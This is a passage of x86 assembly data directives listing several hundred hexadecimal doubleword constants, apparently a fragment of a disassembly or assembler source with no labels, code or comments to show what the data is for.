		dd 0EFDC4499h, 0B5B6E594h, 52614C2Dh, 0B6840203h, 0B846C9ADh
		dd 1B85BF6h, 0DEF2EABCh, 2E06ED13h, 0ADEAAA1Ah,	996177D3h
		dd 8B8FA98Dh, 339A4EE8h, 24FF95Ch, 0D6C5C27Dh, 9FF13E9h
		dd 3EE5AF2h, 2D471B25h,	471EF650h, 0E25FE359h, 959D2917h
		dd 0C496E563h, 0DAE3A6ACh, 0FCD23274h, 0CF1D8663h, 0A652B0A4h
		dd 0D6F7141Ah, 51A66FEEh, 919291BEh, 0C9E5613Fh, 3B91975h
		dd 1BA9FB4h, 5BFDD0D7h,	40E30AFAh, 96608084h, 21DCFA67h
		dd 91A6250Fh, 0CED1EC96h, 0B4B009FBh, 81F1897Eh, 2D019C9Bh
		dd 1F1AC61h, 0AB59A27Dh, 419E0962h, 0F92927D0h,	0E19CD584h
		dd 0BAF25413h, 71914B08h, 61AC69Eh, 37E5DDEh, 6D18496Fh
		dd 664BD2E6h, 0EE546771h, 46ADFF31h, 68502E84h,	8E432573h
		dd 6BAB0ECDh, 0F05C2EC0h, 61428A99h, 0C2C6E485h, 4682A040h
		dd 32DE51D7h, 166FD294h, 285C3C9Eh, 9B4341B1h, 0E14AB863h
		dd 0EA326ACEh, 55B4ACE5h, 0BDEA3B75h, 0A881B130h, 1E4C07ABh
		dd 297F8530h, 0A255AB11h, 0C3573A72h, 39203577h, 0D8281526h
		dd 89B5F430h, 6ECD3BCFh, 25F07B22h, 901AE43Bh, 0B5FDA600h
		dd 27DA279Dh, 0FF4A85DBh, 99A32A32h, 0AD649626h, 0AD94442Ch
		dd 1E14A0CEh, 97F317F6h, 10F47120h, 81E3F2F6h, 89FAF6E8h
		dd 0AB148138h, 786E5A9Ch, 1ADBEC7Bh, 0E0014D2Eh, 3EECED60h
		dd 6A894F52h, 6E6834CEh, 13356384h, 7BD055B7h, 0CDD1720h
		dd 0D92203F5h, 0AF50DC57h, 47F38425h, 0F58F3097h, 5E7F3387h
		dd 0AC92EE9Ah, 0D0101391h, 64BC8E1h, 2E2F3C3Dh,	0E2BBD470h
		dd 0DD258ECFh, 780ED457h, 5D17BFA6h, 86F91DEBh,	0AA02C066h
		dd 55F5B482h, 3F39FC1Bh, 800811B7h, 652E261Ch, 0CE641DD4h
		dd 93AE6E5h, 0D2ABC095h, 2571B633h, 0B71C08D6h,	65B8129Ch
		dd 28BA4076h, 1369F136h, 7B1C017Eh, 0ADB03AD0h,	0B48CE19Dh
		dd 0EC3EB465h, 0D539FD2h, 5928506Dh, 0EEBC58FAh, 40E96617h
		dd 7C5FFE60h, 22F41C10h, 176DEE3h, 48D41852h, 0B4EACD38h
		dd 0E3B2865Ah, 0F50421B9h, 0D131E6C6h, 7D686F35h, 7E9C42C0h
		dd 19393CC2h, 0F1AC7316h, 3295B457h, 777AD93Ch,	5AE59B9h
		dd 0D7A63552h, 707BBE69h, 359FF17Ah, 0D8DF0825h, 5BCE892Fh
		dd 0C7D08BFAh, 0C512E04Ch, 0DFE6E32Fh, 1C361116h, 5E3BB34Dh
		dd 4678EC5h, 244C8066h,	6E9A216Eh, 0F9D3DAE7h, 54E0E308h
		dd 48BF8B61h, 0F86E127Eh, 6E8EB437h, 5908F79Ah,	3BEC3227h
		dd 0B6E458EEh, 5920D100h, 3E599600h, 16581981h,	9BD74F02h
		dd 4394328Bh, 0AE09A6DEh, 791EB942h, 30EC08C5h,	36ED5F77h
		dd 4FFF79F1h, 0FF47EFD5h, 0BA6C167h, 0EF53E64h,	381FD856h
		dd 0DCDDE61Bh, 5B3FDA41h, 257438EEh, 0BACC62B9h, 3953119Eh
		dd 8248F326h, 0E3D5CDBCh, 0DF89E4FBh, 339267BDh, 0BFF26BF5h
		dd 0C49C0CD7h, 0E238BE8Eh, 0BD9CC78Fh, 6585D0B1h, 0F59DE58h
		dd 0BC755A2Fh, 2B70925Bh, 77BC4B2Eh, 8C5BA51Ah,	0F5DCE608h
		dd 4DD20807h, 0BFFCE256h, 64FDCDA6h, 34DB73C2h,	3ADEEB4h
		dd 39CBEEDAh, 0D0B880B7h, 48488442h, 93EBFF4Ah,	59345BBFh
		dd 0A78FE056h, 803C78h,	4B0628Bh, 0E816AD35h, 7392B7DEh
		dd 5D99AA98h, 0CB06FE69h, 49273271h, 0ABFBA42Ah, 0B9AD8627h
		dd 9A08E0EAh, 7E69A080h, 1BC34727h, 4629B4C8h, 20A319F8h
		dd 61BE3F5Eh, 4E6D0F69h, 0A17A8574h, 0D7937815h, 0C4814F81h
		dd 9B4EC76Bh, 0F57852FAh, 0D41DA98Bh, 3D82685Fh, 2FA6EED6h
		dd 249495A9h, 87DDC70Ah, 8CF02BF4h, 0F4B1958Fh,	47CC6DDDh
		dd 6841D5AFh, 0F94E139Ch, 0C0762F4Ch, 44621004h, 512C1FB9h
		dd 7222673Ah, 0FAC83513h, 9817E84Eh, 2600F554h,	83F99586h
		dd 3E826E34h, 7484CB05h, 5E00DE43h, 0FC63EE75h,	0E61A7446h
		dd 4DC2F774h, 5A9569EEh, 7D8407Ah, 3037402Eh, 0A01D20C9h
		dd 72E776B8h, 7C849A38h, 0FAB9C723h, 4BFF88B5h,	0BC634C56h
		dd 9D204428h, 0B138B385h, 11E77F57h, 0B4760E9Dh, 575DE2EAh
		dd 84C07445h, 1E98DDD0h, 76C3009Eh, 6B5DC3EFh, 0BF0A7AF7h
		dd 9012DCE4h, 76ACFA91h, 58CDE064h, 0F84CA128h,	94AC580h
		dd 2F117C4Fh, 7A9A4E25h, 9369411Eh, 32562DF6h, 158BA75Dh
		dd 4213AB47h, 0D6D8D451h, 91ECA07Ch, 0CE3DD97Bh, 9FCF3478h
		dd 909754C2h, 0A22E6A9Bh, 126A9ED4h, 0FF5DB678h, 1E62B45Bh
		dd 0C757378Dh, 8B972E18h, 503ED1C6h, 1C3970CAh,	0E9188671h
		dd 34BB26Eh, 0C0F6C7D3h, 0DC0C2213h, 0F79B1E2Eh, 78640111h
		dd 0F41871Eh, 134C5612h, 0A5E0196Eh, 4004C820h,	639F17DEh
		dd 9A18AE0Dh, 3DE5A8C4h, 9C77303Ah, 0CA234BFEh,	806FEC74h
		dd 50D73FE4h, 671F663h,	890B0855h, 26021EEBh, 348AB5C6h
		dd 0C77BBF81h, 0D37FEA51h, 0CCA1A916h, 85B4793Dh, 289C4698h
		dd 0E40A3DE5h, 0DFBBD0A8h, 0F978369Ch, 8C5FA18Fh, 0E74D7201h
		dd 0C6BE9557h, 0BBD6588Bh, 0A5F78749h, 0E1284205h, 591676A6h
		dd 0C10614B8h, 665AA20Eh, 3581BF75h, 0C6310D73h, 0DDBD8C26h
		dd 0AEE4B100h, 5861AD3Bh, 84D57E64h, 9B899AB1h,	9BBDEFFh
		dd 0B2D5D88Ah, 0BC7F8E6Dh, 0CCB52B16h, 0B8408BCEh, 0FFD8A6A5h
		dd 9D04CFFDh, 67F020A8h, 500D09D0h, 2000859h, 92418C0h
		dd 6D5AD764h, 35833A57h, 6A63A25Fh, 473159CBh, 6EAECC23h
		dd 9BAAB5CCh, 7A41BDCh,	0C88386EDh, 1E391AC4h, 4F49C12Ah
		dd 0EC96C478h, 9CC510FDh, 75E1EB81h, 0E4AA2658h, 582B4317h
		dd 93CFAF1Eh, 57FA8A8Dh, 796411Ch, 8D45FA6h, 358008E5h
		dd 0EA44180Eh, 35BFDCA3h, 4A5B6511h, 0EFBF236h,	0DE59156Ah
		dd 517111A2h, 0A802BC9Ah, 2293ACB0h, 7E3CF4A2h,	0AEFCBB35h
		dd 41C1E214h, 232A3B9Ah, 5EEAA5FAh, 7D850926h, 9A0DA57Bh
		dd 380D2034h, 2FF87148h, 61682634h, 6C0EE264h, 0FED77849h
		dd 8DE68786h, 629942EAh, 9AD55B08h, 25F21F0Bh, 0E8B4FD20h
		dd 0B8CBAE61h, 2FA64E6Ah, 0BE648C72h, 0CC82B6ECh, 0B3CC6224h
		dd 0F917ED5Dh, 9FDA04A3h, 5CF74344h, 0F7CBEB99h, 0B52C6D48h
		dd 0BD64E3FBh, 6162502Eh, 8877889Bh, 5B1C7A73h,	384D357Ch
		dd 661EB4CEh, 88D3AD25h, 495B5E6Fh, 0E1C09D53h,	4EBD40F5h
		dd 9A140609h, 1A5561B9h, 0DBD50A87h, 0D53D99C5h, 8923C693h
		dd 0D72A73D4h, 0C92FA833h, 0F0E99F29h, 8100E7E1h, 27B1515h
		dd 6FA83696h, 6E670189h
		dd 45BCE9E7h, 0ED3ACB5h, 2CD2EB47h, 97663D19h, 7129FB38h
		dd 0CE5BAB22h, 0E820F3F5h, 551659F2h, 0ECC56E8Dh, 0D7949C2Ah
		dd 8A1AF3CDh, 8611962Fh, 9D7BBD99h, 0D075730Ch,	0C097AC16h
		dd 74715DCBh, 75EA66CEh, 0ACD27215h, 72948F5Ah,	95AF747Ch
		dd 5B6AEBC9h, 38BE2EC9h, 583D48Bh, 0B4EE8C00h, 0CB51212h
		dd 7112A495h, 67D778A4h, 6D6B4358h, 0C901FA6h, 42E08FFFh
		dd 376E413h, 4F59E42Fh,	0C1058C31h, 8EC5929Bh, 0D6FB50D8h
		dd 2C8C4141h, 0EC266E6Ch, 0E750C906h, 14F8B552h, 6717AC8h
		dd 0A72506A3h, 1D52C292h, 27F1B71Dh, 0CBE4AF99h, 311BEDDAh
		dd 0B2BB827h, 0BD9CB6D4h, 0BCAC32D0h, 90F135Eh,	0F0EC8284h
		dd 0A9DF7CB7h, 0A3FCDEB5h, 10EB7848h, 0A83A4813h, 0FB460D6Bh
		dd 0F5A82BA0h, 0E549A8E7h, 3BD80BB3h, 1493780Ch, 0F1CD43C7h
		dd 1C8575D2h, 9B6ACD5Ah, 8D8465FFh, 0C985A08Dh,	10A8BCA0h
		dd 0DE2797C3h, 4CFA9516h, 4534A00Eh, 7830B23Ch,	18A257C5h
		dd 5FE4E0A7h, 93939205h, 0AEEC6102h, 0C5A6838Dh, 0ECF3F281h
		dd 578E7D3Ah, 922585DCh, 0DD46E13Ch, 5A3E868h, 0E8BAEE00h
		dd 83544986h, 1D977BA8h, 0AFF74419h, 1CDD6303h,	4E58E95Ch
		dd 0E21A270h, 7E528674h, 1DF4A572h, 66883A5Bh, 68C57E2h
		dd 9B98F74Dh, 7EB8E1E5h, 609406AFh, 0AB463190h,	0F86B0170h
		dd 863D676Bh, 8AC86E1Fh, 586C4DE9h, 68DA3510h, 4E1AD10Eh
		dd 0C009760Ah, 196B4B81h, 0F20C2763h, 7F51EF7Ch, 0CC299611h
		dd 0A0BC16F5h, 0F430B68Ah, 96A945D2h, 0CCE73D31h, 0D62DC364h
		dd 99CB4B67h, 0DFFEFB9Bh, 62B3E776h, 570E3FC0h,	69A0796Ah
		dd 8AD9488Bh, 0CCBEE83Ah, 6D4B74E9h, 0F9E883CAh, 423572A8h
		dd 60FA6CCh, 3CA9F062h,	0BFC7E6F0h, 43B3B80Fh, 0A172965h
		dd 0B2EF82A8h, 0E56C1F76h, 0FEE10116h, 21DE734Ch, 2562BB88h
		dd 938B70B8h, 0DF4AEE43h, 0C94F8BD4h, 0AE55D1F5h, 338DAC80h
		dd 0DD85EA5Ch, 17E73754h, 2970039Fh, 1B170408h,	0BB0AB9BDh
		dd 81AFBF19h, 3A946747h, 0CF63F52Fh, 0CF981A3Dh, 0DE0EAFFAh
		dd 4246B41Bh, 0B9E0A609h, 1154C45Fh, 31D900D6h,	0CFB9AF56h
		dd 63A8A8C8h, 755D6337h, 0AF6A5C00h, 8AB2D8AAh,	0F4EC585Bh
		dd 44292009h, 9C41A837h, 0BBB6A345h, 7AC68906h,	0ABD51A8h
		dd 0F2D07447h, 0BA151A29h, 0A36294B3h, 80374F2Ch, 0F4673458h
		dd 5A4811F0h, 0B2FA8D4Fh, 0BE1BA7E4h, 7ED1E58Bh, 0D0B557Ch
		dd 919DC09h, 7BCDC097h,	97F8CC4h, 7383EDE9h, 0DAE686E7h
		dd 635B9108h, 1F0A524Bh, 506B28F7h, 0A7714FC6h,	0C85838A2h
		dd 0ADB63FABh, 0C9B5637Ah, 0C4D5BB0Fh, 71DEF9C4h, 36A6BD69h
		dd 4B529A17h, 2B1BF2A2h, 0DE1D2F5Fh, 0FED5B1Dh,	0D43C0E63h
		dd 6CAAF132h, 0EC01F7C7h, 0D010CCE1h, 4045244Ch, 0EB0FB383h
		dd 0CB97EE74h, 0AFF7B6D2h, 86D51E20h, 0BAE757D6h, 8BEA2890h
		dd 6D29A226h, 870E6517h, 4C796264h, 0D9E73E32h,	0E0089521h
		dd 714F3C4Fh, 85921F72h, 0DB49D987h, 9F1C0947h,	8D45B546h
		dd 2BB700C1h, 0CC09249Bh, 7D255154h, 0E5D87273h, 8E81BD74h
		dd 48017C5Eh, 74E1D53Ah, 0EA6F79C3h, 0B7B91A10h, 39BBF249h
		dd 0DF2B370Fh, 0C265FC49h, 0EFFECD51h, 495A0CD8h, 94DC2BE2h
		dd 18BB18F8h, 3124EA50h, 847F51D9h, 0C3CD8F9h, 21A54ABEh
		dd 7614A1F9h, 214BA1F9h, 0C8B7908Ch, 0B144BF66h, 8FD7D24h
		dd 0A8D3A662h, 0E98946D5h, 7CA0AA51h, 0C4EEC968h, 0C6F8D453h
		dd 26D2D67Bh, 0DC6C58D2h, 0DC168473h, 0B2F4CBBEh, 52240586h
		dd 0DE67333Dh, 72727CCBh, 0CEB2F855h, 452F6A50h, 0DF0E6AFh
		dd 0AA12F5B5h, 0A99BFA5h, 0A89E95FAh, 0E1279F39h, 3E8A4958h
		dd 0CD8F8532h, 0AA735035h, 2E0C288h, 4F38D72h, 98106610h
		dd 31497061h, 4C9DB659h, 0A39C0D8Ah, 0CD3C83F5h, 97761B7Bh
		dd 73202370h, 411B88B8h, 0CDD17A05h, 842689Eh, 9C347EC8h
		dd 74BE76DEh, 0CE6E146Eh, 0FCBDF9A5h, 0B577F561h, 0A64318C6h
		dd 446508FAh, 0BD45BB7Ah, 0DFB6E6B4h, 0C3AD6041h, 0BDFCAC2h
		dd 0C85C133Fh, 1A09AF53h, 442DC76Fh, 0A4D435C7h, 0A2431E87h
		dd 0A977D65Ah, 0A99E8DB3h, 75598C43h, 56395D56h, 0CF802184h
		dd 0B4584AEBh, 248E9586h, 79363EC1h, 101D35FBh,	0B7E4BB04h
		dd 76CA24ECh, 0A2AA431Bh, 7542B1C6h, 700226D1h,	0D371AD5Fh
		dd 1C564983h, 0D650D17Dh, 64D9305Eh, 6F53B291h,	15AC6643h
		dd 0F6B1843Eh, 5B52010Dh, 1D2A61Bh, 0F7E46999h,	72E0353Dh
		dd 4714729Ah, 0C0B7D5F5h, 0A54C5336h, 0F6361FF5h, 0C21B427Dh
		dd 0D52DFA80h, 677E71F9h, 999A56A9h, 469080E0h,	67B04E92h
		dd 65984F33h, 0E25268E0h, 12B83BC7h, 0E2B73725h, 0EFCFF220h
		dd 0C8B5F86Eh, 9E6482E9h, 0D612C042h, 57A7E9E2h, 200262B0h
		dd 386333E1h, 0D63A89F6h, 3C8F10B9h, 0BAE7A140h, 731887Eh
		dd 90255147h, 7017B452h, 28C4E708h, 0B1871F18h,	6D0FE6CFh
		dd 0B4FEB052h, 549C0EEDh, 546C26CAh, 86A3BCF6h,	0C75D57AAh
		dd 0E9CED6ECh, 0CA01CF7h, 0E0CA9541h, 0CAEBDAFAh, 4ADC3838h
		dd 0C584FC15h, 73FEAF06h, 62FE7CA3h, 0D288BA54h, 6DAA268Dh
		dd 0BD01BFE0h, 0F08B1B59h, 0BD6281A3h, 5102C0B7h, 31E498Fh
		dd 0A399C0A5h, 9B84636Ch, 0C588AAECh, 3FFC750Bh, 81D45ACDh
		dd 0BEB54A1Ah, 0F5F114F1h, 58A0F176h, 0F619B6AAh, 7B6D4323h
		dd 0D7D24A26h, 4DFA74E0h, 0B4EE1F75h, 45EF9B7Ah, 0DDAFD188h
		dd 782C2DE7h, 7A140EBAh, 770B63C6h, 0C60A8489h,	0BBCF60B9h
		dd 0C594B406h, 6ED23BCCh, 0BCDE670Ch, 22BB0F29h, 4CC493ADh
		dd 0B6C63F22h, 6D357D9Ch, 8233737Ch, 0FD2E5B5Dh, 8F79C71Ch
		dd 359555Bh, 396046C0h,	0F4C339D8h, 70A854E6h, 0A8C7F51Fh
		dd 0EE85054Ah, 0AFF56A54h, 0FE33614Ah, 0EC4A700Fh, 0AA1D2C60h
		dd 73B2618h, 0BAC15924h, 51F1AA19h, 0C5211214h,	0C71646FEh
		dd 6F06DA31h, 6F22A57Ch, 28E35818h, 0C3B05416h,	67722285h
		dd 35E958D7h, 111E949Ch, 0A49E1103h, 0A183FA39h, 1684AF88h
		dd 0BD8E02CEh, 80B88D62h, 4642627Fh, 32E34C9Ah,	1D7422F0h
		dd 7A7AECB6h, 15EAFA7Ah, 8F7EAB21h, 0E96E829Ch,	0B80EF9A5h
		dd 2A699E56h, 98A80524h, 0B7469140h, 0DFE01204h, 0F552AB87h
		dd 0E9742027h, 36296C85h, 0B257080h, 7D5E019Eh,	0DC6AD795h
		dd 70317184h, 24D49FDh,	0C0CCCD2Ch, 8A52AC46h, 0E59692BDh
		dd 3A6CFACBh, 7F6EDA59h, 67916434h, 44325857h, 1CE501A2h
		dd 0EF4AED5Ah, 0BF504252h, 93EB39C2h, 38741983h, 0FEFE0B0Fh
		dd 31AE09h, 2D42DFAEh, 7A07495h, 4DADAF8Ah, 0A3566AC4h
		dd 443FC220h, 0E70F8761h, 0FEBD9668h, 9BF8F593h, 6D7B097Ch
		dd 0C18CCE35h, 0CDB091D9h, 0D3953439h, 0F40D2C75h, 2A549382h
		dd 98AD633Ah, 0A17DD60h, 0D849C2D5h, 50B8306Ah,	14CF8527h
		dd 0CCD36AB8h, 555A9311h, 0BA5870F5h, 0B033C37Bh, 47F9FB8Fh
		dd 6786E297h, 31959810h, 0FA6C6C61h, 545EE6E2h,	0F73BA236h
		dd 9B73B2D6h, 9E64D2F7h, 0A9DB8480h, 0F807E06Fh, 83282867h
		dd 9BCDE618h, 0A30DDEBCh, 0BDB5B2BAh, 0C9CB250Bh, 75299174h
		dd 85EFA430h, 1CFC1D7Bh, 19F90A95h, 0A812C813h,	5747CC3Dh
		dd 97127EDBh, 0A7F61EACh, 0BCA4D553h, 0ED698CE3h, 2E36EF73h
		dd 2D07162Fh, 9AE289B7h, 0F522BB7Bh, 9C32EA91h,	68104765h
		dd 0CC756E25h, 4B6DB03Bh, 94F5A3AEh, 4148A109h,	0A2A9F5DCh
		dd 86E5F768h, 0BC1627CFh
		dd 3E420BCh, 0A6002909h, 0B6DF54C6h, 40E35878h,	7E21E48Eh
		dd 5E6BFF8Ah, 693A1D9Fh, 0D89401B3h, 0CEA415F8h, 6531D75Dh
		dd 0FBD5DF61h, 17DDB912h, 0A59D69D6h, 6D78F7FEh, 82535D2Eh
		dd 8127B041h, 0C09DCD1h, 0C54156DEh, 569BC526h,	76CFDC43h
		dd 76E978C1h, 3BD76438h, 2E557BD2h, 0AF272BD4h,	0FFDCF4E5h
		dd 0EE78A84Ah, 0AFA7555h, 0CF5704C5h, 0D0F3C10Eh, 9A689AE4h
		dd 140220A1h, 0C3F8CF67h, 0A2C86E94h, 0DE30357h, 60D1366h
		dd 8B93A834h, 0BD0210Ah, 0F2F2BAE3h, 0C20B3B5Ah, 6827FB1h
		dd 9D9D97C2h, 0C3ECE894h, 9CFE8D6h, 11D07528h, 211AC7FCh
		dd 0B318E78Eh, 24AC9D8Bh, 85A183F4h, 0B0BB4A46h, 6A843FE7h
		dd 242E8129h, 0F4648F04h, 6012B3CFh, 63BCBDB4h,	0C560F34Bh
		dd 5BAC8D85h, 0A4B25829h, 0E5CD40E8h, 0E0CBCCC2h, 0A000B9E4h
		dd 67336D02h, 0C04D9F99h, 71E6BF11h, 4D1E0FA2h,	51969D59h
		dd 298DAFD9h, 752A2398h, 6B0AD607h, 5C8E10A7h, 0D78E2729h
		dd 0B268543Fh, 842C3B42h, 9477F6D4h, 2B6F9C64h,	0F1F00537h
		dd 2AC91D3Dh, 0B83BCF78h, 9DD07F74h, 0FBCDCE9Dh, 1F28F11h
		dd 0CD3BA4F2h, 0FAE6734Dh, 36069FE6h, 5798FF6Dh, 82B75E13h
		dd 0C69FECB7h, 0EBE7B54Fh, 4A708D44h, 0E2BD871Eh, 821714Bh
		dd 0B8353255h, 0B4F46F3Eh, 952F3DA2h, 613BED1Fh, 36F38851h
		dd 0F404F28Fh, 1A2DB673h, 4A06BB0Bh, 0BDDD41ABh, 5ECBD4FDh
		dd 0A9A75FB0h, 3CA9BBD7h, 38BD6086h, 67843C8Ah,	1DBB88FDh
		dd 0FAE765A2h, 154AF57h, 0DAAB9CF9h, 0E0A1110Fh, 5C42095h
		dd 0C31152Ch, 0EEB40099h, 0A3848FCCh, 0F0A00375h, 4FD883D1h
		dd 7889AE07h, 0D2E2EF3Ah, 9F18AC47h, 0C9DD61Ch,	2C74181h
		dd 0FDB198B2h, 2BC20698h, 9BCB1C33h, 0D32F85F4h, 0DA43EC07h
		dd 0DFEFC8A4h, 71CBDB08h, 8044FFB1h, 8181F9E3h,	7BF0AF49h
		dd 6B21435Ch, 0B4FDAD82h, 0CE052C7Eh, 9B0D30C0h, 62983E85h
		dd 2CAE7BB5h, 20EC7119h, 5934347Bh, 0EC615539h,	9FA7AEC4h
		dd 9D0211C4h, 1BA7243h,	0F3AE6F16h, 0A8E42E1Ah,	85528F4Ah
		dd 85C84DA1h, 0E3DAC172h, 36C3E19Eh, 1BD6E360h,	0B2B772B6h
		dd 0E937DFFCh, 17920E88h, 2891FD66h, 39CEA8C9h,	1B30C579h
		dd 0ED460959h, 0A6E13B6Fh, 0D1BB07A8h, 0F71361B5h, 94CDCDDCh
		dd 0A171AA92h, 6BFA6586h, 0B2D56BD4h, 704F14AEh, 0F707997Fh
		dd 7F70945Eh, 0DC8B1129h, 0E036BC79h, 551746F5h, 7EFD71D7h
		dd 1CC82DA9h, 76F7F5A7h, 8C808E26h, 0E4071A70h,	817C1DA4h
		dd 9E37916Eh, 0D82AE1C6h, 594BA04Ch, 0E57C95C6h, 6DA44722h
		dd 22F80C3Ah, 0AAB5A05Eh, 9165F508h, 778964C1h,	0E58FC7FFh
		dd 0C5620D16h, 7933ADD4h, 523C0796h, 8487EEF7h,	2D5901A7h
		dd 6A81ABCDh, 0DE353C89h, 7C03AEEDh, 25843B08h,	33ECEF0Dh
		dd 2C2FB727h, 4A1D7961h, 59F180D6h, 109B0C46h, 0CFC46E70h
		dd 4AD4CE0Fh, 43FB18BFh, 0F5ADD1F1h, 0A9F25BEh,	0B3F4632h
		dd 93B3BDADh, 0AAB0355h, 3FD153C6h, 0EC86B6B6h,	0B60C3192h
		dd 8C6FC2FCh, 0F1276831h, 555C021Bh, 0A10639Eh,	0D6DADDD3h
		dd 4EBCCFD8h, 93655F08h, 5B9E2F3h, 0D18297F9h, 87D0AB0Bh
		dd 638C60E1h, 601148F1h, 9AA7DCA6h, 0BC9F3DA9h,	0EE6D03B2h
		dd 0E6793D71h, 0A7B41D1Eh, 0FCDCAB39h, 74EBF94Eh, 493A92AAh
		dd 5FCEB9FAh, 0CD8E1ECDh, 0EF7C91D3h, 0EF350B3Eh, 0CA166ACEh
		dd 0CCEFAD74h, 419DDEBEh, 0E6CBCB29h, 22CF3293h, 9F87E8D2h
		dd 0D998F87Fh, 930FD28Ch, 78C4F34Dh, 142B1BABh,	0AA6A991Dh
		dd 0ADC45151h, 6C13B317h, 0E6C5172Bh, 3D439C0Dh, 7690F17h
		dd 0C67BCA1Eh, 1B8725C6h, 0F7A91594h, 0CA6664BFh, 56D93448h
		dd 0D23310ADh, 0AEFA9BB0h, 8D67A8F4h, 79229721h, 481FF244h
		dd 0F9CD7ED0h, 0AA3670ABh, 3912240Ah, 42A0DDDAh, 0BF68EEF7h
		dd 88939805h, 0CF159A0Dh, 46A6BA6h, 8E004D92h, 0F6F35DC1h
		dd 8EA2C39Bh, 55ED8BE9h, 0F8D30FA4h, 4C597F55h,	0CA1B47A1h
		dd 4AE456B1h, 93B06A46h, 97EAB518h, 0E06C661Eh,	822B8BA3h
		dd 0AC1C9F8Eh, 0DF2AF900h, 5628BE1Dh, 6DE95E1Ah, 4CD8B6F2h
		dd 14925F62h, 0C1329E08h, 0C01F053Dh, 0CBA61EFDh, 0FD01A4ADh
		dd 47A5CDAEh, 9725E82Dh, 6C751C79h, 7CECBCD0h, 0A068E7E0h
		dd 69ECC582h, 10526B5Dh, 0F5499A6h, 42D19104h, 81B6BD4Fh
		dd 0CCEE8705h, 4EA6E6DDh, 0A1CA4AB1h, 8572B2B6h, 0E396B89Ah
		dd 3DB69E3Eh, 3C49C862h, 343E658Fh, 1BA603E4h, 986CCDFEh
		dd 1CBF55E1h, 0B6418ECEh, 0E287FA1Dh, 4DF98AB0h, 0C0E59038h
		dd 0D401BE5Fh, 1AF8935h, 0A0603015h, 2FB8879Ch,	5060F4EEh
		dd 0B7CECF66h, 1721F128h, 1F041EC2h, 73908FAEh,	35A178EDh
		dd 8FDBAD9Bh, 0C2A938F4h, 7E07F000h, 40D202F7h,	0DDB20BC6h
		dd 9F528005h, 6F3D31B3h, 0FE1F98A7h, 0FDCE042h,	0B57540B3h
		dd 25EEA220h, 4FDFC477h, 0B449BC9Eh, 0B54DF346h, 74ACFCF2h
		dd 39704DB8h, 21F83E6Ah, 0E18E3E03h, 0A845CB91h, 8A756261h
		dd 8CDE6C36h, 6592C0ACh, 0DDD507D3h, 0D0CE16B0h, 32D7092Dh
		dd 19C592A8h, 780C5985h, 3BDEC320h, 47B4893Ch, 674D6AE8h
		dd 9E99EFB4h, 0ECA0F618h, 0C2939A57h, 0B5FC330Fh, 0FD7AA1C4h
		dd 7370EE6Fh, 0B4109B4Dh, 8DE28016h, 0D7FE2145h, 4D319DCCh
		dd 6585785Ah, 9876F02Bh, 33EAD8CDh, 1EA538F3h, 8A6D9951h
		dd 56D96229h, 0DAE45FC7h, 932ECE5Eh, 0E39BCB1h,	8C2C905Ch
		dd 97DCA89h, 1D190AC3h,	53C06FA5h, 7FCE9214h, 86787F3Bh
		dd 7583E6F2h, 0FB0DD55Bh, 7FCDAC66h, 39F4EC0Ch,	937423C2h
		dd 0EC88322Fh, 0EE219CD5h, 6024EED5h, 39CF983h,	0E1B219DEh
		dd 0BAFE79A8h, 51330015h, 30A22ECDh, 2A3CB992h,	0E311AF62h
		dd 0A6720EDCh, 0A8F94C87h, 0D4DF2EAEh, 53E2407Fh, 0DA888C14h
		dd 0CBECEFC1h, 13875946h, 0F790D872h, 6ECCF9ADh, 8CD065F2h
		dd 1FEB9930h, 385AC991h, 0AD07643h, 68774BDFh, 1DFD602Ch
		dd 3A214EB7h, 63D53437h, 0DEE96379h, 84511B47h,	0E022BDB0h
		dd 0E8EA4293h, 0BA71D30Ah, 8539915Dh, 26970BCDh, 0DC90629Ch
		dd 9D3D8483h, 0B1C9D7h,	0F3C252EFh, 18BDBB40h, 80EC8983h
		dd 3D6168AAh, 0AAE5A181h, 0DAC37F38h, 0FE28AAA4h, 7DBEB916h
		dd 6241AA21h, 0F6189F67h, 40BDB93Eh, 8BBA114h, 5C1B88FEh
		dd 5B39716Dh, 4E8228B6h, 39268B65h, 0EA3522B7h,	7BCEA3E4h
		dd 0E953B4C1h, 277AF276h, 0F8F694A3h, 39AD0C85h, 0DB347558h
		dd 0BFF85C36h, 0E56BA67Fh, 68EDAD64h, 0F4ED1B6Bh, 0C0AE9971h
		dd 33351CB6h, 0BAE21C52h, 767D8F6Dh, 0BC42A288h, 2956AF13h
		dd 0B0AD3A36h, 71CFF166h, 0E535C18Bh, 74147D7Ch, 48AB48DCh
		dd 85834A0Ah, 0B3AD986Fh, 16DC0B98h, 0F5227D7Eh, 341C455Ch
		dd 375D924Ah, 0D3B2A621h, 1B9CA01Ch, 8BA1F2B8h,	0BFD4F184h
		dd 6EAACF41h, 22F18F7Fh, 0A7668678h, 21C2B80Ch,	94B6BB63h
		dd 6126B101h, 0F6692A7Fh, 0A3C3319Eh, 50931CDEh, 877A2342h
		dd 0A809035Ch, 8F0CCFBBh, 0AF81091Fh, 0B40C0C63h, 1A253C1Bh
		dd 0E27B4796h, 4B5B291Fh, 0D5360B71h, 0EA2800C0h, 0CDE8D7F4h
		dd 91A683FEh, 0C683FB06h, 60EE14E9h, 9906A65Bh,	84FCC477h
		dd 0A5A3F1EFh, 4AC48FD8h, 0C5F75D3Dh, 52772076h, 0E6DF2EA5h
		dd 5EE0A22Eh, 81B23367h, 7D4F5FAEh, 0C683193Bh,	4677F08Fh
		dd 6EB87DB2h, 0EB9565EAh, 568AC899h, 2E5648Eh, 71428ADh
		dd 3BDCCFCDh, 7E07F87Dh
		dd 916DDB62h, 782CCFE6h, 5B0F7469h, 5F8C82ABh, 0C5A95843h
		dd 0D1D8083Ah, 0CA77E10Fh, 0E9C13A45h, 610BAA7Ch, 0ACD48ABh
		dd 0AA3A731h, 38BC66F3h, 80EBB8EDh, 0A61C0F68h,	0E9AE09BAh
		dd 3886174h, 4D42CC42h,	6538FD00h, 2F63CD91h, 6ED7CBAAh
		dd 801B034Eh, 69793554h, 8251764Fh, 0B6A3C1DCh,	0A9A4C3A2h
		dd 0FD00F64h, 0D694F7DDh, 2C874D05h, 30B2E4F4h,	587691E3h
		dd 0B49F4E34h, 0ABD72EBFh, 0E5BB815Fh, 0B118A3D0h, 9F962B73h
		dd 0F98DA0EDh, 7BFD7098h, 0BD5E3D7Fh, 0ABE8471Ah, 814DA5E5h
		dd 0EF555EF0h, 21CEB14Fh, 0C8474573h, 55234C42h, 4E7AE34Dh
		dd 2172B0C0h, 378B5EB8h, 74C68192h, 0D94EC98Ah,	3FA84636h
